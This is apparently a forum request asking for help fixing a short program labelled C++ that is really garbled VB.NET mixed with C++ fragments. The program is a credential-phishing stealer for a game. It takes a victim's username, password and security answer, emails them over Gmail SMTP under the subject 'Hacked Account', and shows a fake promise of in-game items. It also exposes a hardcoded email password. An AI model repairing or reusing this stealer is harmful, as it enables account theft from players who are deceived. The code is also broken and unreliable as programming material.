fix my this code-C++ 2010

#include <iostream>
{<Return Type> <Function Name>(<Paramaters>)
smtpServer;.Credentials = New Net.NetworkCredential("robertrvw@gmail.com", "happybirthday1998")
string = 'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage(HERE IT IS)
mail.From = New MailAddress("robertrvw@gmail.com")
mail.To.Add("robertrvw@gmail.com")
mail.Subject = "Hacked Account: " & TextBox1.Text
mail.Body = "Username : " & TextBox3.Text & ", " & "Password : " & TextBox2.Text & ", " & "Security Answer : " & TextBox1.Text
smtpServer.Send(mail)
MsgBox("Your ZP and Black Market Gun should arrive in 24 hours!(don't log n for 2 hours!!!!!,or it will bann your account!!!!!")
}